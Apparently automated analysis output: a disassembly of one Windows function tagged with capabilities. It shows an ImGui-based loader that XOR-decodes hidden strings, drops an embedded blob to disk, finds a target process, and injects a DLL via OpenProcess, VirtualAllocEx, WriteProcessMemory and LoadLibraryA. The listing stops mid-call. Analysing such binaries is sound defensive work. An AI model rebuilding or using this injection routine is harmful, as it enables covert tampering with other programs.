Function at 0x140002a10
Capabilities:
Create directory
Create process on windows
Create thread
Enumerate processes
Inject thread
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x268]
sub rsp, 0x340
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14006b040]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r13d, r13d
cmp byte [0x1401646c0], r13b
je 0x1400048f5
mov rcx, qword [0x1401652d0]
test rcx, rcx
jne 0x140002a91
mov r8d, 0x997
lea rdx, [0x140053e60]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401652d0]
mov dword [rcx + 0x1654], 0x3f000000
mov dword [rcx + 0x1658], 0x3f000000
test rcx, rcx
jne 0x140002acb
mov r8d, 0x997
lea rdx, [0x140053e60]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401652d0]
mov dword [rcx + 0x1648], 0x40c00000
mov dword [rcx + 0x1664], 0x3f000000
xorps xmm2, xmm2
movss xmm0, dword [0x1401646b0]
movss xmm1, dword [0x1401646b4]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm2
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x1401646b8]
movss xmm1, dword [0x1401646bc]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
mov r12d, 4
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov eax, dword [r12 + rdi]
cmp dword [0x1401654a0], eax
jle 0x140002bdb
lea rcx, [0x1401654a0]
call fcn.1400511ac
cmp dword [0x1401654a0], 0xffffffff
jne 0x140002bdb
mov dword [0x1401654cc], 0x15fed27
mov dword [0x1401654c0], 0x9270c531
mov dword [0x1401654c4], 0x817ff28
mov dword [0x1401654c8], 0xc56cc214
lea rcx, [0x140052ee0]
call fcn.140051488
lea rcx, [0x1401654a0]
call fcn.140051140
cmp byte [0x1401654cf], r13b
je 0x140002c54
xor byte [0x1401654c0], 0x77
xor byte [0x1401654c1], 0xa9
xor byte [0x1401654c2], 0x1f
xor byte [0x1401654c3], 0xe5
xor byte [0x1401654c4], 0x51
xor byte [0x1401654c5], 0xdf
xor byte [0x1401654c6], 0x5f
xor byte [0x1401654c7], 0x69
xor byte [0x1401654c8], 0x77
xor byte [0x1401654c9], 0xa9
xor byte [0x1401654ca], 0x1f
xor byte [0x1401654cb], 0xe5
xor byte [0x1401654cc], 0x51
xor byte [0x1401654cd], 0xdf
xor byte [0x1401654ce], 0x5f
mov byte [0x1401654cf], r13b
mov r8d, 0x2b
lea rdx, [0x1401646c0]
lea rcx, [0x1401654c0]
call fcn.140015010
mov rcx, qword [0x1401652d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm8, dword [0x140060c50]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm8
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x40], 0x439d8000
mov dword [rbp - 0x3c], 0x43160000
mov eax, dword [r12 + rdi]
cmp dword [0x140165424], eax
jle 0x140002d52
lea rcx, [0x140165424]
call fcn.1400511ac
cmp dword [0x140165424], 0xffffffff
jne 0x140002d52
mov dword [0x140165576], 0x1a53a83
mov dword [0x140165570], 0xfaf34ad3
mov word [0x140165574], 0x9256
lea rcx, [0x140052ec0]
call fcn.140051488
lea rcx, [0x140165424]
call fcn.140051140
cmp byte [0x140165579], r13b
je 0x140002da1
xor byte [0x140165570], 0xa5
xor byte [0x140165571], 0x2f
xor byte [0x140165572], 0x81
xor byte [0x140165573], 0x89
xor byte [0x140165574], 0x3f
xor byte [0x140165575], 0xfd
xor byte [0x140165576], 0xed
xor byte [0x140165577], 0x49
xor byte [0x140165578], 0xa5
mov byte [0x140165579], r13b
lea rdx, [rbp - 0x40]
lea rcx, [0x140165570]
call fcn.140012060
mov qword [rbp - 0x40], r13
cmp dword [0x140165414], r13d
sete bl
movdqa xmm6, xmmword [0x140060ed0]
mov eax, dword [r12 + rdi]
cmp dword [0x140165500], eax
jle 0x140002e10
lea rcx, [0x140165500]
call fcn.1400511ac
cmp dword [0x140165500], 0xffffffff
jne 0x140002e10
mov word [0x1401655a0], 0x187
movups xmmword [0x140165590], xmm6
lea rcx, [0x140052ea0]
call fcn.140051488
lea rcx, [0x140165500]
call fcn.140051140
cmp byte [0x1401655a1], r13b
je 0x140002e97
xor byte [0x140165590], 0x87
xor byte [0x140165591], 0xcd
xor byte [0x140165592], 0xdf
xor byte [0x140165593], 0xb1
xor byte [0x140165594], 0x31
xor byte [0x140165595], 0x7d
xor byte [0x140165596], 0x9f
xor byte [0x140165597], 0xc5
xor byte [0x140165598], 0x87
xor byte [0x140165599], 0xcd
xor byte [0x14016559a], 0xdf
xor byte [0x14016559b], 0xb1
xor byte [0x14016559c], 0x31
xor byte [0x14016559d], 0x7d
xor byte [0x14016559e], 0x9f
xor byte [0x14016559f], 0xc5
xor byte [0x1401655a0], 0x87
mov byte [0x1401655a1], r13b
lea r9, [rbp - 0x40]
xor r8d, r8d
movzx edx, bl
lea rcx, [0x140165590]
call fcn.14004bb20
test al, al
je 0x140002ebc
mov eax, r13d
mov dword [0x140165414], eax
jmp 0x140002ec2
mov eax, dword [0x140165414]
mov qword [rbp - 0x40], r13
cmp eax, 1
sete bl
mov eax, dword [r12 + rdi]
cmp dword [0x1401653ec], eax
jle 0x140002f18
lea rcx, [0x1401653ec]
call fcn.1400511ac
cmp dword [0x1401653ec], 0xffffffff
jne 0x140002f18
mov dword [0x14016550a], 0x1cfc792
mov word [0x140165508], 0x5a76
lea rcx, [0x140052e80]
call fcn.140051488
lea rcx, [0x1401653ec]
call fcn.140051140
cmp byte [0x14016550d], r13b
je 0x140002f4b
xor byte [0x140165508], 5
xor byte [0x140165509], 0x35
xor byte [0x14016550a], 0xfd
xor byte [0x14016550b], 0xa9
xor byte [0x14016550c], 0xcf
mov byte [0x14016550d], r13b
lea r9, [rbp - 0x40]
xor r8d, r8d
movzx edx, bl
lea rcx, [0x140165508]
call fcn.14004bb20
test al, al
je 0x140002f6f
mov dword [0x140165414], 1
call fcn.140012120
mov rcx, qword [0x1401652d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x140060c84]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x40], 0x43340000
mov dword [rbp - 0x3c], 0x43160000
mov eax, dword [r12 + rdi]
cmp dword [0x14016542c], eax
jle 0x14000305a
lea rcx, [0x14016542c]
call fcn.1400511ac
cmp dword [0x14016542c], 0xffffffff
jne 0x14000305a
mov word [0x1401654b1], 0x1f9
mov dword [0x1401654a8], 0xdc219afa
mov dword [0x1401654ac], 0x18356e61
mov byte [0x1401654b0], 0xe8
lea rcx, [0x140052e60]
call fcn.140051488
lea rcx, [0x14016542c]
call fcn.140051140
cmp byte [0x1401654b2], r13b
je 0x1400030b0
xor byte [0x1401654a8], 0x9b
xor byte [0x1401654a9], 0xf9
xor byte [0x1401654aa], 0x55
xor byte [0x1401654ab], 0xb5
xor byte [0x1401654ac], 0x17
xor byte [0x1401654ad], 7
xor byte [0x1401654ae], 0x41
xor byte [0x1401654af], 0x7d
xor byte [0x1401654b0], 0x9b
xor byte [0x1401654b1], 0xf9
mov byte [0x1401654b2], r13b
lea rdx, [rbp - 0x40]
lea rcx, [0x1401654a8]
call fcn.140012060
mov rcx, qword [0x1401652d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x140060c58]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x140060c5c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
call fcn.14001a040
mov dword [rbp - 0x40], 0x42c80000
mov dword [rbp - 0x3c], 0x41f00000
mov eax, dword [r12 + rdi]
cmp dword [0x1401654a4], eax
jle 0x1400031a8
lea rcx, [0x1401654a4]
call fcn.1400511ac
cmp dword [0x1401654a4], 0xffffffff
jne 0x1400031a8
mov dword [0x140165420], 0x1a18f82
mov dword [0x140165418], 0x3bc0948f
mov dword [0x14016541c], 0x78a31e97
lea rcx, [0x140052e40]
call fcn.140051488
lea rcx, [0x1401654a4]
call fcn.140051140
cmp byte [0x140165423], r13b
je 0x140003205
xor byte [0x140165418], 0xe3
xor byte [0x140165419], 0xfb
xor byte [0x14016541a], 0xa1
xor byte [0x14016541b], 0x5f
xor byte [0x14016541c], 0xb7
xor byte [0x14016541d], 0x7d
xor byte [0x14016541e], 0xcb
xor byte [0x14016541f], 0x1d
xor byte [0x140165420], 0xe3
xor byte [0x140165421], 0xfb
xor byte [0x140165422], 0xa1
mov byte [0x140165423], r13b
lea rdx, [rbp - 0x40]
lea rcx, [0x140165418]
call fcn.1400492c0
test al, al
je 0x140004290
lea rcx, [rbp + 0xb0]
call fcn.140002310
nop
lea rcx, [rbp]
call fcn.1400024d0
nop
mov eax, dword [r12 + rdi]
cmp dword [0x140165558], eax
jle 0x140003280
lea rcx, [0x140165558]
call fcn.1400511ac
cmp dword [0x140165558], 0xffffffff
jne 0x140003280
mov dword [0x140165546], 0x15937dc
mov word [0x140165544], 0x7b45
lea rcx, [0x140052e20]
call fcn.140051488
lea rcx, [0x140165558]
call fcn.140051140
cmp byte [0x140165549], 0
je 0x1400032b3
xor byte [0x140165544], 0x6b
xor byte [0x140165545], 0xf
xor byte [0x140165546], 0xb1
xor byte [0x140165547], 0x47
xor byte [0x140165548], 0x59
mov byte [0x140165549], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r13
lea rdx, [0x140165544]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x1400032d3
lea rcx, [rbp + 0x40]
call fcn.140006a90
nop
mov eax, dword [r12 + rdi]
cmp dword [0x14016554c], eax
jle 0x140003339
lea rcx, [0x14016554c]
call fcn.1400511ac
cmp dword [0x14016554c], 0xffffffff
jne 0x140003339
mov word [0x1401655af], 0x18f
mov word [0x1401655ac], 0x9da
mov byte [0x1401655ae], 0xda
lea rcx, [0x140052e10]
call fcn.140051488
lea rcx, [0x14016554c]
call fcn.140051140
cmp byte [0x1401655b0], 0
je 0x140003365
xor byte [0x1401655ac], 0xbf
xor byte [0x1401655ad], 0x6d
xor byte [0x1401655ae], 0xbd
xor byte [0x1401655af], 0x8f
mov byte [0x1401655b0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
lea rdx, [0x1401655ac]
mov r8, rbx
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140003380
lea rcx, [rbp + 0x20]
call fcn.140006a90
nop
mov eax, dword [r12 + rdi]
cmp dword [0x1401655e4], eax
jle 0x1400033dd
lea rcx, [0x1401655e4]
call fcn.1400511ac
cmp dword [0x1401655e4], 0xffffffff
jne 0x1400033dd
mov word [0x1401654b9], 0x149
mov byte [0x1401654b8], 0x77
lea rcx, [0x140052e00]
call fcn.140051488
lea rcx, [0x1401655e4]
call fcn.140051140
cmp byte [0x1401654ba], 0
je 0x1400033fb
xor byte [0x1401654b8], 0x2b
xor byte [0x1401654b9], 0x49
mov byte [0x1401654ba], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r13
lea rdx, [0x1401654b8]
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x140003414
lea rcx, [rbp + 0x60]
call fcn.140006a90
nop
mov eax, dword [r12 + rdi]
cmp dword [0x140165400], eax
jle 0x140003485
lea rcx, [0x140165400]
call fcn.1400511ac
cmp dword [0x140165400], 0xffffffff
jne 0x140003485
mov word [0x140165569], 0x15d
mov dword [0x140165560], 0xf70f6734
mov dword [0x140165564], 0x4c22ec0d
mov byte [0x140165568], 0x2b
lea rcx, [0x140052de0]
call fcn.140051488
lea rcx, [0x140165400]
call fcn.140051140
cmp byte [0x14016556a], 0
je 0x1400034db
xor byte [0x140165560], 0x77
xor byte [0x140165561], 0x5d
xor byte [0x140165562], 0x53
xor byte [0x140165563], 0xb1
xor byte [0x140165564], 0x61
xor byte [0x140165565], 0x83
xor byte [0x140165566], 0x55
xor byte [0x140165567], 0x35
xor byte [0x140165568], 0x77
xor byte [0x140165569], 0x5d
mov byte [0x14016556a], 0
xor edx, edx
lea rcx, [0x140165560]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [0x140060e60]
mov eax, dword [r12 + rdi]
cmp dword [0x1401655e8], eax
jle 0x14000353b
lea rcx, [0x1401655e8]
call fcn.1400511ac
cmp dword [0x1401655e8], 0xffffffff
jne 0x14000353b
mov word [0x1401653e8], 0x145
movups xmmword [0x1401653d8], xmm6
lea rcx, [0x140052dc0]
call fcn.140051488
lea rcx, [0x1401655e8]
call fcn.140051140
cmp byte [0x1401653e9], 0
je 0x1400035c2
xor byte [0x1401653d8], 0x45
xor byte [0x1401653d9], 0xd5
xor byte [0x1401653da], 0xb1
xor byte [0x1401653db], 0x3b
xor byte [0x1401653dc], 0xaf
xor byte [0x1401653dd], 5
xor byte [0x1401653de], 0xad
xor byte [0x1401653df], 0xfb
xor byte [0x1401653e0], 0x45
xor byte [0x1401653e1], 0xd5
xor byte [0x1401653e2], 0xb1
xor byte [0x1401653e3], 0x3b
xor byte [0x1401653e4], 0xaf
xor byte [0x1401653e5], 5
xor byte [0x1401653e6], 0xad
xor byte [0x1401653e7], 0xfb
xor byte [0x1401653e8], 0x45
mov byte [0x1401653e9], 0
xor edx, edx
lea rcx, [0x1401653d8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rax, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova rax, qword [rbp + 0xb0]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x38], rax
call fcn.140050dac
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, [rbp - 0x60]
call fcn.140007a20
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp - 0x60]
call fcn.1400064a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400064a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
lea rcx, [rsp + 0x60]
call fcn.1400064a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.1400064a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000377f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000377a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000377a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
movdqa xmm0, xmmword [0x140060d20]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400037d2
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
movdqa xmm0, xmmword [0x140060d20]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140003823
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000381e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000381e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
movdqa xmm0, xmmword [0x140060d20]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140003872
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000386d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000386d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
movdqa xmm0, xmmword [0x140060d20]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
lea rcx, [rbp + 0xd0]
call fcn.140005e00
nop
mov r8d, 0xd3e00
lea rdx, [0x14006b0e0]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0xd8]
call fcn.1400063e0
test rax, rax
jne 0x140003910
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xd0]
xor r8d, r8d
lea edx, [r8 + 2]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xd0], rax
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xd8]
call fcn.140005d90
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov eax, dword [r12 + r14]
cmp dword [0x1401654d0], eax
jle 0x1400039d5
lea rcx, [0x1401654d0]
call fcn.1400511ac
cmp dword [0x1401654d0], 0xffffffff
jne 0x1400039d5
mov dword [0x140165444], 0x119060b
mov dword [0x140165438], 0x67e02500
mov dword [0x14016543c], 0xee772817
mov dword [0x140165440], 0x6caf3435
lea rcx, [0x140052da0]
call fcn.140051488
lea rcx, [0x1401654d0]
call fcn.140051140
cmp byte [0x140165447], 0
je 0x140003a4e
xor byte [0x140165438], 0x53
xor byte [0x140165439], 0x51
xor byte [0x14016543a], 0x81
xor byte [0x14016543b], 9
xor byte [0x14016543c], 0x73
xor byte [0x14016543d], 0x63
xor byte [0x14016543e], 0x19
xor byte [0x14016543f], 0x87
xor byte [0x140165440], 0x53
xor byte [0x140165441], 0x51
xor byte [0x140165442], 0x81
xor byte [0x140165443], 9
xor byte [0x140165444], 0x73
xor byte [0x140165445], 0x63
xor byte [0x140165446], 0x19
mov byte [0x140165447], 0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov esi, r13d
lea rdx, [rbp + 0xd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140003d4e
lea rdx, [rbp + 0xd0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140003d4e
nop
lea rdx, [0x140165438]
lea rcx, [rbp + 0xfc]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140003d48
lea rdx, [rbp + 0xd0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140003a90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [r12 + r14]
cmp dword [0x140165430], eax
jle 0x140003b16
lea rcx, [0x140165430]
call fcn.1400511ac
cmp dword [0x140165430], 0xffffffff
jne 0x140003b16
mov dword [0x1401655d4], 0x1f75cbd
mov dword [0x1401655d0], 0x3b8fae
lea rcx, [0x140052cf0]
call fcn.140051488
lea rcx, [0x140165430]
call fcn.140051140
cmp byte [0x1401655d7], 0
je 0x140003b57
xor byte [0x1401655d0], 0xeb
xor byte [0x1401655d1], 0xfd
xor byte [0x1401655d2], 0x49
xor byte [0x1401655d3], 0x6f
xor byte [0x1401655d4], 0xcf
xor byte [0x1401655d5], 0x7d
xor byte [0x1401655d6], 0xf7
mov byte [0x1401655d7], 0
movdqa xmm6, xmmword [0x140060e90]
mov word [rbp - 0x30], 0xfd8e
mov eax, dword [r12 + r14]
cmp dword [0x14016552c], eax
jle 0x140003bb7
lea rcx, [0x14016552c]
call fcn.1400511ac
cmp dword [0x14016552c], 0xffffffff
jne 0x140003bb7
mov byte [0x140165542], 1
movups xmmword [0x140165530], xmm6
movzx eax, word [rbp - 0x30]
mov word [0x140165540], ax
lea rcx, [0x140052d10]
call fcn.140051488
lea rcx, [0x14016552c]
call fcn.140051140
cmp byte [0x140165542], 0
je 0x140003c49
xor byte [0x140165530], 0xeb
xor byte [0x140165531], 0xfd
xor byte [0x140165532], 0x49
xor byte [0x140165533], 0x6f
xor byte [0x140165534], 0xcf
xor byte [0x140165535], 0x7d
xor byte [0x140165536], 0xf7
xor byte [0x140165537], 0xdf
xor byte [0x140165538], 0xeb
xor byte [0x140165539], 0xfd
xor byte [0x14016553a], 0x49
xor byte [0x14016553b], 0x6f
xor byte [0x14016553c], 0xcf
xor byte [0x14016553d], 0x7d
xor byte [0x14016553e], 0xf7
xor byte [0x14016553f], 0xdf
xor byte [0x140165540], 0xeb
xor byte [0x140165541], 0xfd
mov byte [0x140165542], 0
xor r9d, r9d
lea r8, [0x1401655d0]
lea rdx, [0x140165530]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rax, qword [rbp]
mov byte [rax], 0
lea rax, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rax, qword [rbp + 0x40]
mov byte [rax], 0
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rax, qword [rbp + 0x20]
mov byte [rax], 0
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rax, qword [rbp - 0x20]
mov byte [rax], 0
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rax, qword [rbp + 0x60]
mov byte [rax], 0
lea rax, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rax, qword [rbp]
mov qword [rbp + 0x10], r13
mov byte [rax], 0
lea rax, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rax, qword [rbp + 0x40]
mov byte [rax], 0
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rax, qword [rbp + 0x20]
mov byte [rax], 0
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rax, qword [rbp - 0x20]
mov qword [rbp - 0x10], r13
mov byte [rax], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000412c
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004127
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004127
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov esi, dword [rbp + 0xd8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140003ac9
lea rdi, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdi, qword [rbp - 0x20]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003d92
lea rcx, str.Handle_Error
call fcn.140001030
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140003db4
mov r9, rbx
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rsi
test eax, eax
je 0x140003ac3
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r15
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
